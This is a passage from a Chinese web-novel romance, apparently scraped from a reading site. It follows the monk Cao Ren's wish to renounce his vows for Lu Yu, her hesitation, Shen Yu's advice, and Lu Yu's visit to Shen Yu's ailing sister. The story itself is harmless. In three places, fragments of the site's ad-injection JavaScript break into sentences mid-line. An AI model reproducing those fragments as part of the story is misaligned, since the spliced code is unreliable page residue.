可他不能趁人之危,所以虽有遗憾却在心中默念清心咒径自平复好情绪,才低声哄道:“阿萸睡吧,睡着了,梦里的美人就回来了。” “美人们还会回来吗?” “会的,睡着了就回来了”曹壬继续柔声哄着。 闻言,陆萸松开双手,扬起嘴角再次心满意足地入睡了。 曹壬安静地在床前守了一会,见她没有再醒来的迹象,才轻轻将她的手放入被中,拉好被子才转身离去。 长安冬天的夜晚漫长而又安静,他顺着连廊走回东院,廊下的灯笼照出昏黄的光,一阵风吹过,灯笼摇晃间,几片雪花被风吹入廊下。 下雪了,他停下脚步伸手去接吹进来的雪花,雪花很快便融化了。 他在洛阳见过大雪,一直在建业的她却没见过,她明日醒来看到满院的雪,应该会开心吧? 明日,有好心情的她,听完自己的决定,应该也会高兴并支持他吧?如此这般想着,他忐忑又紧张的度过了一晚上。 翌日清晨,陆萸真如他所料,推开格子窗看到白茫茫的一片时,高兴得直呼:“这么大的雪,我此生第一次见到。” 三伏给陆萸穿戴整齐后,才让曹壬端着早膳进来。 见到曹壬,陆萸惊喜道:“原来我昨夜不是在做梦,你真的在等我。” 曹壬边将红枣银耳羹摆在食案上边道:“我昨日日落后赶在关城门前到的,你尝尝味道怎样?” 陆萸宿醉醒来,本来头有些闷,见过窗外的大雪后,又瞬间神清气爽,早就将昨晚的事都忘得一干二净了。 她喝了一口羹后,道:“我记得昨夜在门口遇到你,后来的就不记得了。” “后来,沈三郎想和你分一杯羹”曹壬笑回。 闻言,陆萸忙抱紧食案上的碗,道:“他想吃让沈家的厨子煮去,我自己都不够吃。” 曹壬见她孩子气的模样,笑道:“够的,我煮了很多。” 闻言,陆萸才将碗放下,道:“让他记得送你一本游记。” 陆三叔昨夜很晚才回来,听下人报沈玉早就回去了,心中还有些惋惜,如今看到下人送来的早膳,想到那个为侄女洗手作汤羹的慧悟法师,既惋惜又觉得这都是孽缘,宿醉后的头好像更疼了。 陆萸用早膳的时候,曹壬又陪着她用了一碗,二人吃饱喝足了,沈玉也没有来。 一番准备后,二人打算去星火书院,陆氏的牛车顺着汉阳街北上在右转顺着夕阴街向明光宫走去。 因昨夜下了一场大雪,如今家家户户都在忙着扫屋顶的雪。 陆萸坐在车里,掀起帘子看着道路两旁的景致,感叹道:“都说瑞雪兆丰年,也不知有这样大的雪,明年能不能有个好收成。” 曹壬在皈依白马寺之前,有关农业的知识都是靠书上得来,皈依后,跟着师傅外出化缘,也见识了一些和书上不一样的人和事,这样的大雪,明年是否丰收不得知,但有很多人会被冻死却是真的。 他没有回答陆萸,而是安静地闭上眼睛打坐,心里默默念了一段祈福的经文。 到明光宫的时候,因为这边这一片一直被荒废,所以没有人扫雪。 昨夜大雪,装修校舍的工人也都回去了,此时的星火书院,除了守在外围的雍州牧府兵,书院里只有空荡荡的建筑屹立在皑皑白雪中。 陆萸带着曹壬踩在厚厚的雪地里,挨个介绍起每一栋楼的用途,以及设计初衷。 书院安静异常,只要她不徐不疾的声音和踩在雪上发出的“咯吱咯吱”声。 绕了一圈,细细讲解完后,陆萸站在教学楼前空旷的操场上问曹壬:“怎样?这样的书院,和太学比如何?” 曹壬抬头遥望远处用来给教职工住的院落,答:“有过之而不及。” 被夸赞,陆萸高兴反问:“真有这么好?” 曹壬点点头,细细向她解释太学的内部构造,布局和授课方式等。 太学是大魏的最高学府,但早已经成了世家子弟在被最终定品授官前镀金的地方,授课的大儒名师肯定是有的,可学生的质量却参差不齐,加之先帝在位时常年用武,国库紧张,里面的屋舍都早已破旧不堪。 而那些世家子弟去那里本来只为镀金,自然也不会在意环境,如今的太学,除了老师拿得出手,其他一无是处,这也是当年他能轻松独享小院的原因。 陆萸再次感叹:“我在设计图纸的时候,无非是盼着能从这些书院中培养出几个真正的人才罢了,如今的大魏,世家土地兼并严重、民生多艰,若不早为之计,大乱将生。” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我知道”曹壬答。 他顿了一下,接着道:“今日来此,除了看书院,我还想和你说我的打算。” 陆萸好奇,莫不是他也想在书院挂名誉讲师,于是笑问:“是何打算?” “待鸡鸣寺的事了后,我想舍戒还俗”曹壬一字一句的说着,双眼认真的看着她。 陆萸的笑容瞬间凝固了,她震惊的看着他说不出话来。 耳畔再次响起他舒缓而真挚的话语:“自此以后,我不做慧悟、不做曹壬、只做你一人的君期可好?或者你另外给我取个名字,让我往后余生只做你身后的影子,陪你一起奋斗,一起迎接可能就要来临的乱世,可好?” 多年后,想起这一天的雪,想起这一刻,陆萸不记得自己是用了多大的勇气才拒绝了他的告白,她只记得明明心里很高兴,却又疼得令她窒息。 她听完他的话后,突然捂住胸口痛哭出声,是喜极而泣吧?亦或是知道美好的东西皆如昙花一现,而为这一刻的美好哭泣。 因为她曾经见过太多相爱的男女最后被现实打败,那些男女从一开始的两情相悦最后走向了反目成仇,她已经无法再心安理得的接受他这样的好了。 她要是个恋爱脑该有多好,可她不是,她既贪心又胆小,既自私又理智,她不敢用这样的自己去赌他往后余生的深情。 曹壬在鼓足勇气说完打算后,忐忑地等着她的回复,可她做出的反应瞬间令他措手不及。 他忙伸手扶住哭得摇摇欲坠的她,连连道歉:“阿萸莫哭,若你不爱听,我往后不再提就是。” 陆萸闻言,更加难受了。 她伸手紧紧抱住他,哽咽道:“我们不是已经说好了吗?要隐忍着成为彼此的星光。” “可我还是贪心,想离你更近”曹壬收紧怀抱她的手,回道。 是人都会贪心,陆萸如何不懂,可因为这样的贪心,她没有勇气去赌,即便是在文明的二十一世纪,也没有几个男子愿意放弃自己的事业无名无姓地陪在一个女子身后,更何况是封建等级森严、名望地位至上的古代。 不知何时,天上又飘起了雪。 她哭了多久,曹壬就这样安静又茫然地抱着她在雪地里站了多久。 她为何不开心?他以为她应该会开心的,可她若不愿意,他也不会强求她。 不知哭了多久,陆萸终于慢慢平复了情绪,抬起头红着眼眶看着他:“君期,你毕生所学不该为我浪费的。” 曹壬无法理解为何他不在意的这些,她却如此执着,忙解释:“这些都没有你重要。” 陆萸听后,却轻轻退出他的怀抱,冷静地回:“君期,我知道这次长安之行你我遭遇九死一生,让你突然改变了最初的梦想,所以,你给我,也给你一点时间考虑,可好?” 还好,她没有马上拒绝,他虽然有些失望,但还是忍不住问:“需要考虑多久?” “明年白马寺佛诞日之后吧,明年我会去白马寺看你辩经,若你过了佛诞日后依然没有改变想法,我就支持你的决定”陆萸此时已经恢复理智,说的话越来越冷静。 曹壬见这样的她,有一瞬间觉得很陌生,可她微红的眼眶又让他忍不住心疼,或许应该让她再考虑考虑吧? 他轻叹一声,道:“那就如你所愿,我给你时间考虑。” 他既已决定,就未打算更改。 点点头,看到飘雪,陆萸伸手摸了摸头发上的雪,雪花才触碰到手指就已经融化,连头发都湿哒哒的。 看到远处的三伏拿着伞,踩过白茫茫的雪向他们走来,她突然想起了李清照写的一首诗。 于是笑道:“当年我和同学感叹过,再浪漫的现代诗都比不上老祖宗写的浪漫。” 见她又笑了,他心底的失落因这样明媚的笑容瞬间消失了,他笑问:“什么诗?” “两处相思同淋雪,此生也算共白头”陆萸抬头看着他,一字一句的答。 曹壬听完,愣了一瞬,然后笑了,那笑容如冬日暖阳,好似要将飘雪中的寒冷都驱走。 真好,她也想和自己白头偕老不是吗? 他伸手牵过她被冻得通红的手,细细包住,然后缓缓说道:“执子之手,与子偕老。” 68. 第六十八章 挽发 明明离开书院前,曹壬觉得二人间的氛围挺好,可出了书院,一看到外人,陆萸主动松开了二人交握的手后,一直沉默不语。 坐在车内,陆萸看到他不时看向自己的眼神,心知她伤了他的心,可她还是不想收回让大家各自考虑一段时间的决定。 明年佛诞日辩经,他可能还会体验一次前所未有的成就感,届时,他若不改决定,她就陪他赌一次。 回到陆宅,曹壬几次想要主动打破沉默,可陆萸只留下一句话:“头发湿了,我要去沐浴更衣,你随意。” 她不愿再多言语,转身逃离了曹壬温柔炙热的视线,她怕自己再看下去会把持不住。 曹壬撑着伞站在院中,看着陆萸明显逃避的背影,心底再次失落不已。 听到陆宅的侍人报沈玉刚刚来寻过他,虽不知是为何事,他还是打起精神去找沈玉。 沈氏别院离陆宅不远,转过几个路口就到了。 曹壬在沈氏仆从的引领下去了沈玉的书房,他此刻竟然在书房喝酒,房门才打开,一股酒气瞬间扑面而来。 他没有表现出嫌弃,只是看了眼自斟自饮的沈玉,问:“贫僧刚从书院归来,不知沈三郎寻我为何事?” “约你一同饮酒,你敢吗?”沈玉端起酒杯问。 曹壬摇头:“喝不醉的酒,喝了又有何意义?” 沈玉听后,不置可否,又给自己倒了一杯酒。 曹壬找了个位置席地坐下后,看着案几前火盆中烧得通红的炭块,突然想起了南安王府的冬日,没有遇到她时,他的冬日那样难熬,可她出现后,连炭块都像开了花。 他喃喃出声:“不醉酒,如何忘记那些烦恼?” “怎么,四大皆空的慧悟法师也会有烦恼?这可对不起你的佛祖吧?”沈玉略带嘲笑的开口。 曹壬不在意沈玉那点嘲笑,而是听到“对不起佛祖”时,突然想到阿萸会不会也是这样想,所以不想连累自己?应该是这样吧? 见曹壬没有辩驳,反而一脸忧思沉默不语,沈玉一时心软,道:“抱歉,我最近烦心事多,一时口快。” 顿了一下,他问:“你,有什么烦恼?” 唉,他就是这么容易心软,明明一开始是想让曹壬用佛经知识开导自己来着。 曹壬抬头看了眼沈玉跟前的酒壶,然后道:“我们一起饮茶聊天可好?” 见他问的真诚,沈玉倒也不扭捏,立马让侍从把酒案换成茶几。 看到齐全的茶具,曹壬笑道:“清晨未能给你预留红枣银耳羹,某现在亲手为你烹茶吧,这技术还是阿萸教我的。” 说着,他按记忆中的步骤,不紧不慢的煮起茶来。 沈玉在氤氲的茶雾中看着曹壬优美的动作,心想,他的烦恼该不会是陆萸同意分一杯羹吧?那他也太小心眼了。 烹好第一杯茶,曹壬将茶杯双手递给沈玉,然后径自说起了心中的烦恼。 他把心中的疑惑不解、失落、感伤、迷茫都一一向沈玉诉说,虽二人从未深交,可这一刻许是想起了南安王府,想起了当年他让江澈查过沈玉,在他心中,已经不由自主把沈玉当成了一个很熟悉的人了。 “所以,你是因为阿萸没有立即支持你的决定而烦恼?”沈玉听过始末后,问。 曹壬点点头:“谢九叔曾问我,我可以为阿萸付出什么,那时候我没想好,如今我已想好,她却不接受。” 又将一杯茶水递给沈玉后,他叹道:“或许,是我能给的她不稀罕,而她稀罕的,我给不了。” “你误会她了”沈玉直接出言打断。 在曹壬疑惑的目光中,他解释道:“她要的其实很少,她不是不稀罕你能给的,而是她不敢稀罕,你的往后余生那么漫长,她如何敢立马答应?” 见曹壬在沉思,他又道:“她没立即答应,更能说明她看重你。” “真是这样吗?”曹壬依然很迷惑。 “若她不看重你,何必给你时间考虑?以陆氏的实力,她现在即刻答应你,把你从鸡鸣寺带走让你破戒后,将你一辈子困在华亭也不是问题。” 闻言,曹壬愣了一下,想到什么是破戒,又想到曾经有一个公主看上崔氏公子后,想尽办法把人抢去做面首,然后把人一辈子困在公主府,他的脸不由自主就红了,那个公主做的事很是香艳。 沈玉知他听进去了,于是笑道:“你可别不知好歹,阿萸这人吧,别看平日里那么要强,且总能说出一大堆道理,可真遇到自己在意的人和事,就会畏首畏尾。” “她确实是这样,她曾说是因为自卑,所以谨慎”曹壬答。 听陆萸说自己自卑,沈玉又刷新了一些认知,原来事事追求完美,也是因为自卑? 他笑道:“换我,我也不会立马答应,那是一个人漫长的余生,哪能轻易就做决断?你如今倒是想着守着她就知足了,可往后呢?你原本有机会成为名垂千古的高僧,可一旦成了她的影子,你所有的抱负、所有的学识就都只能是她的附属品,多年后,你还会如现在这般知足吗?她不敢去猜。” 曹壬忙答:“多年后,我也不会改变,也不会” 他话还未言尽,沈玉立马打断:“不要过早给多年后下结论,她是个理智的人,她不知道明天和意外谁会先来,所以她不是不愿意,而是害怕而已。” “所以,阿萸是害怕往后经历某些变故和波折后,我会改变想法吗?”曹壬问。 “确实如此,你当年一心皈依,如今不也想还俗吗?以后那么遥远,谁能保证呢”沈玉道。 此言一出,曹壬瞬间就想通了,他的承诺太大,他不该还未行动,就先设想虚无的东西,更不该逼着她去认同这种设想。 他思忖片刻后道:“我不该现在问她,而是应该在佛诞日后直接还俗,然后悄悄换个身份去找她,届时我没有去处,她心软就会收留我。” 沈玉抿了一口茶后,赞:“孺子可教也,于阿萸这种理智的人,就不该给她太多选择,你先打她个措手不及,来不及思考时,她反而更能遵循本心。” 确实是这样,曹壬想起当初是自己一次次去星火书店抽签等她,她才主动到清风亭相见,不然,以她的性子估计一辈子都不会主动说破那份隐秘的情感。 想通后,曹壬心中的抑郁瞬间一扫而空,他双眼明亮的问沈玉:“现在轮到你了,有什么烦恼需要我开解的?” 想想自己一肚子的学问,加上从白马寺和鸡鸣寺学到的那些佛经大道理,他此刻摩拳擦掌,只等着立刻让沈玉也一扫阴霾。 沈玉也没有犹豫,说起了遇到的两个烦恼。 他已加冠,却迟迟不成亲,父母虽然不催他,族中其他长辈却一个比一个着急,特别是随着《墨生游记》一次次大卖,他的名声越大,族中长辈就越想让他成亲。 他去西域游历前,族中长辈催他,他不愿意,所以借着外出退掉了长辈安排的相亲。 在他看来,那些人根本不是关心他,而是想靠他的名声换个好的姻亲来拉拢沈氏与各大世家的关系。 他本来已经和父母都说好了,等他找到心仪的女子再结婚,可不知大伯父又从哪里听说了他和陆萸的关系,听说陆萸明年要办及笄礼,长辈们又说服了父母,写信让他去陆府向陆萸提亲。 听到这里,曹壬手中的茶杯差点没能拿稳,他若真去提亲,才真是把阿萸逼进了两难之地。 沈玉苦涩一笑:“你说,今年我敢回去?我游历完西域,收到母亲的信后,一听说雍州牧要建星火书院就躲来了长安,我向家里禀明:我答应了雍州牧,要在星火书院开学时教授西域游记。” “可你一直这么躲着也不是办法。” “我知道,但只有这样才能给阿萸腾出时间布置,只要我不出面,出于沈氏对陆氏的尊重,家中长辈也不会贸然去提亲。” “这些你和阿萸说过吗?”曹壬问。 沈玉摇摇头:“昨日才见面,她就喝醉了,还未来得及说,如今正好,你回去告诉她也一样。” 曹壬点点头:“还有其他烦恼吧?” 于是沈玉又说了他的第二个烦恼。 嫁去豫章郡的姐姐本来已经被他开导得差不多了,她也愿意接受姐夫纳妾,愿意接受庶出子女,可两个月前姐夫的庶子出生后,姐夫对庶子和侍妾宠爱有加,已经隐隐有宠妾灭妻的迹象了。 那样明媚开朗的姐姐从此又回到了日日躺在病床上以药为伍的日子,甚至有医官说她可能熬不过这个冬天了。 “所以,你现在能理解阿萸为何不敢立马答应你了吧?”沈玉问。 曹壬听了,一时沉默不语,心情也跟着沉重起。 沈女郎和朱郎君从青梅竹马的爱情开始,也如愿以偿步入婚姻,本是令人羡慕的一对,想不到最终走向了两看相厌的程度? 他想起陆萸感叹过的一句话:“有些感情,与其苦苦强求,不如从此相忘于江湖。” 他问沈玉:“你寻我,是为了你姐姐?” 沈玉:“我已经想不出该用何种方式去开导阿姊,可你不一样,你学了十几年佛经,都言佛经能让人开智,能让人抛弃世俗烦恼,所以,哪怕你让阿姊从此看破红尘皈依佛祖都行,只要她还能活在这世上。” 曹壬听后,思忖片刻后,道:“我也没开导过你姐姐这样的施主,待我回去向大师们取取经验,只是你阿姊和我素不相识,我主动去信开导肯定不妥。” 沈玉:“没事,你找到办法后,我来写信。” “那就这么说定了,我先回去想想,想到什么我就来找你或者写信给你”曹壬道。 想到他还有鸡鸣寺的任务,沈玉道:“待你回鸡鸣寺,我就随你去鸡鸣寺小住。” 于是,二人只花了一个下午的时间,就已经变得无话不谈了,瞬间有种惺惺相惜的感觉。 曹壬回到陆宅的时候,陆萸早就沐浴好,如今正坐在火盆旁擦头发。 古代没有吹风机,每次洗头都要花很多时间擦头发,如今外面湿冷,只能靠烤干帕子擦头发,效率低了些,但也没办法,她已经好久没好好沐浴洗头了。 听说曹壬有事找她,三伏见陆萸只着了一身简单的襦裙,想要拒绝。 陆萸却道:“你若拒绝,他肯定一直等在门口,外面那样冷,还是让他进来等吧。” 曹壬进来的时候,看到的就是这样的陆萸,她在里面穿了一身浅粉色的广袖襦裙,外面则随意披了一件白毛领浅杏色斗篷。 一头乌黑的头发就这么随意披着,如瀑布一般铺满她的肩头。 她坐在火盆旁本来就不冷,如今加了斗篷,仅过了一小会,鼻尖就冒出些许汗珠。 曹壬原本打算在一旁等三伏擦头发后出去后,再和陆萸说沈玉的事。 如今见陆萸小脸通红 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的模样,他忍不住出声:“三伏先出去吧,我给阿萸擦头发。” 三伏犹豫地看着陆萸,陆萸笑道:“他估计是羡慕我的头发而已,你去看看我让人准备的甜汤好了没有。” 有陆萸的话,三伏也不好继续留下,答诺后退下了,临出门还不忘将门关紧。 待三伏走后,曹壬笑道:“热就把斗篷脱了吧” 陆萸也觉得三伏有些小题大做,她穿的广袖襦裙虽只是居家服,除了不够正式,动作大时领口的绣花围兜会不小心露出来,抬手时,手臂会一整根露出来之外,其他该遮住的都能遮住。 曹壬刚刚已经看过三伏的操作手法,如今很快就能上手。 擦头发是从上而下擦拭,如今上面已经被三伏擦得半干,他擦的时候,就只是把火盆旁烘干的细布帕拿起细细包裹住她的发梢,待这块湿透,就挂回架子上继续烘干,然后重新取一块干透的帕子轻轻包裹搓揉她的头发。 想不到他真会替自己擦头发,一开始没觉得有什么,陆萸此刻在他轻轻揉揉的动作下突然觉得头皮酥痒。 为转移注意力,她主动开口:“下车时,是我语气不好,对不起。” 曹壬手上的动作未停,笑道:“你不用道歉,是我太心急了,你若想考虑,我就等你,你想考虑多久都可以。” 陆萸听后,反而有些难受,静默须臾,才道:“鸡鸣寺,在我们那个时代,会在几百年后更名为法门寺。” 身后曹壬擦头发的动作停了下来,她接着道:“那个故事是假的,可法门寺是真的,法门寺地宫的佛祖真身舍利也是真的。” 曹壬原是站着弯下腰替她擦头发,此刻感受到她心中的恐惧,他的心底瞬间柔软一片,开始懊悔之前对她的误会。 他也不再顾男女大防,径自在她身后坐下后,目光顺着她的视线看着铜镜中的她,字字诚恳:“法门寺是真的,真身舍利是真的,可我对你的情谊亦是真的。” 陆萸怔怔地看着与自己一同映入镜中的他,只见他也看着镜中缓缓开口:“皈依佛、皈依法、皈依僧、皈依阿萸。” 仅一瞬,陆萸眼中的泪无声落下,耳畔继续传来他温柔的声音:“阿萸,不要害怕,我还在你身后不是吗?” 短短一句话,让陆萸心底酸软得不能自已,原来,她也可以离幸福这样近,近得可以装在同一个镜子中,近得只要转个身就能碰到。 “我以后不会再催你,你若想继续这样,我就这样守着你,只要你考虑好了,任何时候,我都可以到你身边。” “好,我答应你,我不会再害怕了”陆萸用手抹去脸上的泪,笑看着镜中的他答。 曹壬听了,对着镜中的她温柔一笑,然后低下头继续为她擦头发。 反复擦拭后,头发终于全部半干,他叹道:“你这样好的头发,不知道我有没有机会挽起。” 陆萸没想太多,笑道:“这有何难,你若想挽发,呆会三伏来了,你让她教你便是。” 曹壬听后,和陆萸说起了沈玉的烦恼,有提亲的烦恼,也有他姐姐的烦恼,因为沈玉让他也问问陆萸有没有什么办法去开导。 “所以,沈玉躲在这里回不去是因为我?”陆萸听后,转过身惊讶地看着曹壬问。 “感动了?”曹壬反问。 陆萸一把抢过曹壬手中的帕子,将头发甩到胸前,自己边擦边笑道:“他宁愿躲起来,也不愿意娶我,你没发现?” “那是他不懂珍惜”曹壬笑道。 陆萸擦头发的时候,广袖滑落,两根白花花的手臂就这么全露出来了,她没发现,正擦着头发思考着下一步该如何应对。 沈玉这么躲起来也好,一时半刻沈家也不会有人去提亲,就算提亲,有他的提醒,她可以提前做祖父和父母亲的思想工作。 曹壬见一双白白嫩嫩的手臂就这么突然出现在眼前,先是愣了一下,待看到她手腕上的星月菩提,才猛然回过神,羞红着脸迅速将目光转向火盆。 好在三伏端着甜汤进来了,才解救了他的不自在。 陆萸道:“这甜汤是给你补气血用的,你上次还未彻底养好就去了鸡鸣寺,想来那里也不会给你继续做药膳。” 见甜汤还冒着热气,她接着道:“你不是要挽发吗?让三伏教你。” 三伏不知自己离去这一小会少主和法师都聊了些什么,怎么突然就要法师替她挽发了呢?女子的头发只有夫君才能挽,少主难道不知? 三伏迟迟不动,陆萸催道:“你不教他,我可就自己动手了。” 见到陆萸抬手弄头发的时候,广袖直接滑落到肩膀上,三伏忙上前道:“还是奴婢来吧。” 曹壬很聪明,三伏教的也只是普通男子的发髻,所以他很快就把陆萸的头发整整齐齐挽来起了。 陆萸照了照镜子,觉得非常满意,举起双手边正了正簪子,边夸道:“手艺不错,日后继续学习其他式样”。 三伏见状,忙上前替她拉了一下袖子,奈何小臂还是白花花露在外面。 陆萸这才发现曹壬的脸都已经红透了,她笑看着他打趣道:“动不动就脸红,以后如何跟着我舍戒?” 曹壬闻言,被刚入口的甜汤呛了一大口,止不住咳嗽起来。 见状,陆萸更是抬起手指着他手舞足蹈地笑了起来,那双手臂就这么在他的眼前若隐若现,比刚才直接露出来还让他看得难受。 69. 第六十九章 开解 给曹壬准备的甜汤是陆萸之前在洛阳吃过的药膳,至长安后,她立即写信向陆妘要了方子,为的是趁这几日赶紧给他补补气血。 在书院的雪地里,他向她伸出手时,她没有犹豫就握了上去,然后偷偷摩挲了他的掌心,那掌心的伤口虽然已经愈合,但终究留了伤疤。 他为她付出的一切,她都会铭记于心,可她不会再去提起,因为不想让他想起那样绝望的经历而冲动做出其他决定。 长安城自这场大雪后,越来越冷了,三叔陆显忙长安星火书店开业的相关事宜,陆萸和曹壬则躲在一方小院,一起守着火盆看书,或者写书签。 这期间,沈玉也会偶尔约二人一起品茶,陆萸又有机会品着茶,赏着雪,顺便欣赏二人的琴箫合奏。 至最后一天,曹壬不顾陆萸再三反对,执意为长安星火书店画了一幅镇店之宝,是长安城外的雪景图,画中景致苍茫空旷,让人看了隐隐有一种悲凉感。 他告诉陆萸,当看到大雪时,他想到民生多艰,所以想作这样一幅画。 他似乎天生怀有一颗悲天悯人之心,或许是自幼被佛经熏陶的缘故,又或许是他骨子里的敏感让他能更敏锐地感知人间疾苦。 看过画后,陆萸沉默半晌,始终找不出语言去品评这幅画。 最后,她转身轻轻抱住他,就这么安静而单纯的拥抱着他,不知这样的温度能否驱散他心底的寒冷。 他轻轻抚摸她身后披着的长发,说:“我知你志向远大,心中有丘壑,若有机会,我也愿意尽一点绵薄之力以助你早点达成志向。” “哪怕危险重重,你也愿意吗?”陆萸将头深深埋入他胸前问。 “我愿意的,只要阿萸不嫌弃我笨拙。” 听着耳畔传来的心跳声,陆萸喃喃出声:“我怎会嫌弃?君期是我见过的最聪明的男子。” 曹壬听了,笑而不语,眼神温柔而坚定,抚摸长发的手也越来越轻柔。 明年佛诞日过后,他可以每个清晨都替她挽发,挽世间最美的发髻。 静谧而幸福的时光往往过的很快,仅六天,又到离别的时刻。 陆显已经安排好书店的工作,书店如今只是试营业阶段,要等到明年三月才正式开张,届时沈玉的《墨生西域游记》会在长安星火书店弄签售会。 这样,沈玉就更有理由留在长安了。 大家在长安城外分别的时候,天空没有下雪,却也没有晴。 灰蒙蒙的天,让离别的气氛更加浓厚,这次陆萸和三叔受沈玉所托,要带着他的西域游记手稿去豫章郡探望沈玉的姐姐,再赶去华亭。 女人更能理解女人,开导起来或许更容易一些,沈玉不想放过任何能够开导姐姐的机会。 沈玉反复交待着他对姐姐的牵挂,曹壬沉默地站在在人群中不舍的看着陆萸。 最后还是陆萸主动开口:“君期,明年佛诞日再见。” “佛诞日再会”曹壬笑着答。 三叔在身旁,陆萸也没能说些什么,好在还有几个月就到佛诞日了,到时候她还有机会和他说很多话。 马车启程时,不知为何,她突然想起法门寺,于是叫停马车。 她跳下车跑到曹壬跟前,笑着和他道:“你参佛的时候要专心,抄经书的时候也要认真,不要惹佛祖生气。” “好,我听阿萸的”曹壬笑着答。 “只要这身袈裟还穿在身上,你就要一直虔诚”陆萸又交待。 “嗯,我一定虔诚”曹壬答。 又走近一些,陆萸用仅二人可听见的声音道:“佛诞日以后,你若不改初衷,我就带你回建业参加我的及笄礼。” 言毕,不待曹壬回答,她快速转身爬回马车里。 她最近想通了,待佛诞日结束后,只要他愿意,她便天南海北都带着他,反正她如今有足够的钱养活他。 马车再次启程,曹壬就这么呆呆地看着马车渐行渐远,脸上一直挂着傻笑,脑海中不停回响着她的话语。 沈玉见状,一脸嫌弃道:“想不到,一向聪明睿智的慧悟法师也会有这般傻样的时候。” 曹壬继续傻笑,答:“我只是个凡人,又怎会一直聪明?” 阿萸说过,她喜欢看他这样笑,是沈墨生不懂罢了,阿萸还说过沈墨生就是个单身狗,他说话阴阳怪气的时候自己不要理他就是,无需在意。 就这样,一直傻笑的曹壬在陆氏叔侄离开长安后,把沈玉带去了鸡鸣寺。 沈玉此去鸡鸣寺,是为姐姐代发修行祈福,所以捐了一大笔香油钱给鸡鸣寺。 师弟去了那么多天才回来,慧能原本还有些担心,待见到沈玉一心吃斋祈福,又为师弟忙着度化他人的行为感动,想要质问的话也问不出口了。 离年关越近,世道也愈发乱,这次从长安去豫章郡,陆氏部曲一共遭遇了一次胡人作乱,四次山匪围攻,共牺牲了二十一名部曲。 叔侄俩一路马不停蹄的赶路,终于在十二天后下午赶到了豫章郡的治所南昌。 朱陆两家关系一直很好,陆萸的父亲和朱慎的叔父一文一武共同守卫丹阳郡,是默契多年的同僚,甚至朱氏子弟都是在陆氏学堂入学。 所以朱太守对陆氏的长辈都比较尊敬,一听门卫禀明陆氏叔侄的来意,他就急匆匆赶来门口迎接了。 朱太守一点都不像出自军功世家的郎君,反倒很像张顾两家的子弟,举手投足皆一副文质彬彬。 他先向陆三叔问好后,又笑着和陆萸道:“阿慎和阿琳差不多时辰也要到了,陆妹妹若是有空,可以在此多住些时日,到时候和他们一起回建业。” 陆萸一听朱慎也要来,想起谢洐的提醒,忙笑回:“我是受沈三郎所托来看望沈家姐姐,明日一早我们还得赶回华亭,想来祖父该等急了。” 陆显也忙附和:“父亲一直等着看沈三郎的新游记。” 朱太守听完这话时,陆萸细微地察觉到他眼中的不屑。 他确实对沈玉的游记很是不屑,一个男人,整日游手好闲就算了,写的游记竟然把女郎们迷得分不清南北,越来越多的女郎看过他的游记后变得不安于室了。 他没有继续这个话题,而是带着陆显去了书房,陆萸则直接去了后院找沈玉的姐姐。 见到沈沅时,她正靠坐在床头喝药,药汤难闻,可她眉头都不皱一下一饮而尽。 哪怕外面有暖阳,屋内依然置有火盆,只是一个喝药端碗的动作也令她气喘吁吁。 侍女给沈沅擦过嘴角的药汁后,带着药碗退下了。 她看着陆萸,虚弱一笑:“抱歉,我的身体越来越差,无法起身见礼。” 陆萸径自找了个位置坐下后,笑道:“墨生常与我提起你,所以你也是我的姐姐,无需客气。” “阿弟在长安还好吗?”沈沅问。 “很好,只是很担心你”陆萸关切地看着沈沅道。 沈沅轻声咳嗽几声后,道:“是我没做好榜样,害他都不敢娶妻了。” 陆萸此刻能理解沈沅为何经常生病了,她这是太聪明太敏感了,这样的人活得很累,容易一不小心就钻牛角尖,还不容易出来。 沉吟片刻,她道:“这次,我除了给你带来墨生的新游记,还背负着一个重大的使命。” 沈沅眼中的陆萸是生动的,哪怕这次是二人的初见,陆萸说话的语气、眼神和表情,丝毫没有虚伪做作,沈沅已经很多年没有见过如此鲜活的女孩了。 她忍不住问:“是何重大使命?” “让你走出来的使命”陆萸答。 沈沅听完,却是苦涩一笑,然后沉默不语,走出来又谈何容易? 陆萸没有马上开导她,而是拿出沈玉的游记,给她朗读起来。 陆萸读得仔细,沈沅也听得认真。 读到某些有趣的地方,陆萸还停下来,结合前世看过关于西域的知识,向沈沅细细描绘。 游记读完了,屋内再次安静下来。 过了片刻,陆萸问:“沈姐姐觉得如何?向往吗?” 沈沅点点头:“向往之至。” 陆萸伸手摸过她冰冷的手后,替她把被子拉上来盖好,才笑道:“既然向往,就该留着体力去看看才是。” 沈沅闻言,眼神激动喃喃道:“真能去看看吗?” “只要走出去,就能。” 在沈沅怔怔的目光注视下,陆萸接着道:“这世上能绊住自己脚步的,永远只有自己,人在恐惧时,真正的敌人其实就是自己。” 沈沅低头看着火盆静默不语。 陆萸又道:“成亲前,你也是父母娇养出来的,是一个独立的人,而不是任何男子的附属品,男女间的关系,合则守、不合则弃,你不该失了自我,将自己日日困在这方寸间。” 沈沅眼中噙满泪水,叹道:“道理我都懂,可我还有女儿,如何能做到说弃就弃?” “就因为你还有女儿,才更应该振作起来,你要为她遮风挡雨,教会她为人处世的道理。每个孩子在出生时,都是懵懂的,她们习惯把父母作为学习的榜样,倘若你一直困住自己,她又如何学会解救自己的法子呢?” “她才四岁,真能学会吗?”沈沅问。 “孩子其实都是聪慧又敏感的,哪怕不会表达,也都看在眼里,且往后你还可以慢慢教她不是吗?”陆萸反问。 在听过医官说她可能熬不过这个冬天后,沈沅的病就越来越重了,甚至慢慢失去了活下去的斗志。 她随朱郎君来南昌,虽然没和公婆同住,却也很难见到以前的朋友和家人,慢慢的她眼里只有夫君和孩子,这也是在朱郎君纳妾后她彻底失去自我的原因。 “你若不强,他还会娶继室,届时你女儿又该如何自处?”陆萸给她下猛药。 “母亲已经商量着让妹妹替我照顾孩子了”沈沅说这话时,眼泪瞬间滚落。 陆萸不知还有这么一段,心里默默骂了一声沈玉的父母,才道:“瑶姐姐想来不会同意吧?墨生知道吗?” 沈沅摇摇头:“这些是前几天才商量的。” “你想瑶姐姐步你的后尘吗?”陆萸问。 “我自是不想”沈沅忙道。 陆萸轻嘲一声,道:“你父母倒真 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 